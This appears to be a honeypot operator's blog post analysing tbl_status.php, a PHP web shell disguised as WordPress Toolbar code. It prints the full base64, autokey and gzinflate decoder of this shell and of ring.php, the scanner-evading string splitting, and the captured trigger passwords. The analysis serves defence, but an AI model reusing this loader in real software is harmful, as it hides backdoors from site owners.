Downloaded via an apikey.php variant, obscured almost identically to ring.php, blah blah
It looks like the attacker(s) tried to download a plain PHP source code file
to an instance of apikey.php
file gateway.
All that apikey.php
requires is a HTTP file transfer,
with a name of "filename".
Fortunately, my WordPress includes an apikey.php
file gateway emulation.
This code actually got downloaded to a variant of apikey.php file gateway
that someone at 45.132.192.22 thought they had downloaded 2019-10-05 via a plugin upload,
which my honey pot also emulates.
This download has an item of interest.
The attacker(s) sent t_file_wp.php
extra HTTP parameters.
Parameter Name | Parameter Value |
---|---|
folder | |
home | 1 |
wp_admin | 0 |
wp_content | 1 |
wp_includes | 0 |
If I read t_file_wp.php code correctly,
the "home" parameter and it's value of "1" would cause t_file_wp.php
to put a copy of the downloaded code in Apache's DocumentRoot directory.
The "wp_content" parameter and a value of "1"
causes it to put a copy of the downloaded code in WordPress' wp-content/
directory.
In both cases, the file would have the name tbl_status.php
213.59.146.28 reverse-lookups as ip-213.59.146.28.zelenaya.net
213.59.146.28 seems like it belongs to zelenay.net,
inetnum: 213.59.144.0 - 213.59.147.255
netname: GSS-NET
descr: OOO GSS Network
country: RU
admin-c: LSV84-RIPE
tech-c: LSV84-RIPE
created: 2015-08-28T14:59:27Z
last-modified: 2019-04-11T13:08:58Z
route: 213.59.144.0/22
descr: GSS-NET route
origin: AS48176
created: 2015-08-28T15:08:27Z
last-modified: 2015-08-28T15:08:27Z
Domain Name: ZELENAYA.NET
Registry Domain ID: 1514637937_DOMAIN_NET-VRSN
Updated Date: 2019-07-18T21:17:27Z
Creation Date: 2008-08-18T09:10:14Z
Name Server: NS.OOONET.RU
Name Server: NS2.OOONET.RU
zelenay.net is a Russian "Internet and digital TV for home and business" provider, In 18 Russian cities:
- Belgorod
- Mud
- Moscow
- Stavropol
- Ufa
- Beloretsk
- Efremov
- Nalchik
- Mikhailovsk
- Elista
- Vladivostok
- Kochubeyevskoe
- Nevinnomyssk
- Tambov
- Dace
- Lipetsk
- Neftekamsk
- Tomsk
That covers a lot of ground.
The downloaded malware appears at first glance to constitute a piece of WordPress code. It claims:
* Toolbar API: Top-level Toolbar functionality
*
* @package WordPress
* @subpackage Toolbar
* @since 3.1.0
There are other comments in the code that make it look like WordPress code.
The code closely resembles WordPress code.
It's all snake_case
, space characters appear after every left parentheses,
and before every right parentheses.
A function _wp_admin_bar_init()
appears,
which WordPress official web pages
include.
It may very well constitute some real WordPress code.
It's never invoked - it's window dressing.
The malware carries a Base64-encoded string.
When the malware gets invoked with an HTTP POST parameter named "f_pp",
the malware invokes function pre_admin_bar
with the value of "f_pp",
and the Base64-encoded string.
function pre_admin_bar
uses an MD5 hash of the "f_pp" string
to do a variant autokey
decoding on the base64-encoded string (after base64 decoding it).
$b = $ciphertext[$i];
$o = ord($b); // encrypted byte
$k = ord($key[$i]); // key byte
$c = chr(($o - $k)%256); // cleartext byte
$key .= $c;
$encoded .= $c;
The string $key
starts out with a length of at least 34 bytes.
Every deciphered byte gets appended to the key string,
so the algorithm never runs out of key bytes.
This algorithm is known to be vulnerable to a known cleartext attack:
If you can determine or guess the first few cleartext bytes, you can
discover the bytes that get appended to the key string.
Unfortunately, the last step of this algorithm is to run PHP's gzinflate
on the cleartext. gzinflate
is a great choice.
gzdeflate
format only has a few 3-bit (!!!) markers in it, and they're not
in very predictable positions. There's very little in a gzdeflated block
of bytes to use as known cleartext.
This obfusction is nearly identical to that of ring.php.
ring.php
has:
function pre_term_name( $wp_kses_data, $wp_nonce ) {
$kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data );
$filter = base64_decode( $kses_str );
$md5 = strrev( $wp_nonce );
$sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) );
$wp_nonce = md5( $wp_nonce ). $sub;
$preparefunc = 'gzinflate';
$i = 0; do {
$ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );
$filter[$i] = chr( $ord % 256 );
$wp_nonce .= $filter[$i]; $i++;
} while ($i < strlen( $filter ));
return @$preparefunc( $filter );
}
This malware, tbl_status.php
has:
function pre_admin_bar ( $wp_kses_data, $wp_nonce ) {
$kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data );
$filter = 'base'.'6'.'4'.'_decode';
$filter = $filter( $kses_str );
$md5 = strrev( $wp_nonce );
$sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) );
$wp_nonce = md5( $wp_nonce ). $sub;
$prepare_func = 'g'.'z'.'inflate';
$i = 0; do {
$ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );
$filter[$i] = chr( $ord % 256 );
$wp_nonce .= $filter[$i]; $i++;
} while ($i < strlen( $filter ));
return @$prepare_func( $filter );
}
They're virtually identical, differing only in obscuring invocations
of base64_decode
and gzinflate
.
The ring.php
file has a more concealed base64-encoded string,
using what appears to the human eye as an inline image to mask
the purpose of the base64-encoded string.
I had to wait a few days, but ultimately my WordPress honey pot caught a set of accesses that included a value of "f_pp" that worked Values of "f_pp" that my honey pot caught:
- asdf
- t4c3PFr5
- F5d4JH6m1
With the autokey key value of "F5drJH6m1", I got the original code.
It's just another ring.php
web shell. There's a different comment on line 2,
perhaps to make the gzdeflated string different.
I went to all this work just to uncover a virtually unmodified version of the ring.php
web shell.
The only real question I've got is: Why change the ring.php
obfuscation?
I mean, constructing "gzinflate" and "base64_decode" from substrings makes sense.
Signture-based IDS could conceivably flag PHP files with either of those strings in them.
But why make the presence of the base64-encoded ciphertext in the tbl_status.php
file more obvious?
The attacker(s) went to the trouble of re-working the fake WordPress code in
tbl_status.php
(versus ring.php
), but then just hang the base64-encoded string
out in front of everyone.
The IP address 176.9.23.3 invoked a variety of URLs ending in
"tbl_status.php" on 2019-09-27, and 2019-10-13.
Oddly, all the invocations were HTTP GET requests,
and the URL ended in "z=F5d4JH6m1".
The tbl_status.php
malware only runs the web shell on POST requests,
with a parameter named "f_pp".
The parameter "z" has the correct name, but the wrong value.
It's hard to believe these invocations aren't related,
except that they just can't work with tbl_status.php
due to mechanics of HTTP and how PHP handles those mechanics.
https://www.unphp.net/decode/223e1910ed9dcd610c50bdfea19900fc/ contains 'F5d4JH6m1'
This file looks like an even more obfuscated version of tbl_status.php
.
Looks roughly like someone ran tbl_status.php
serially through two different
obfuscators.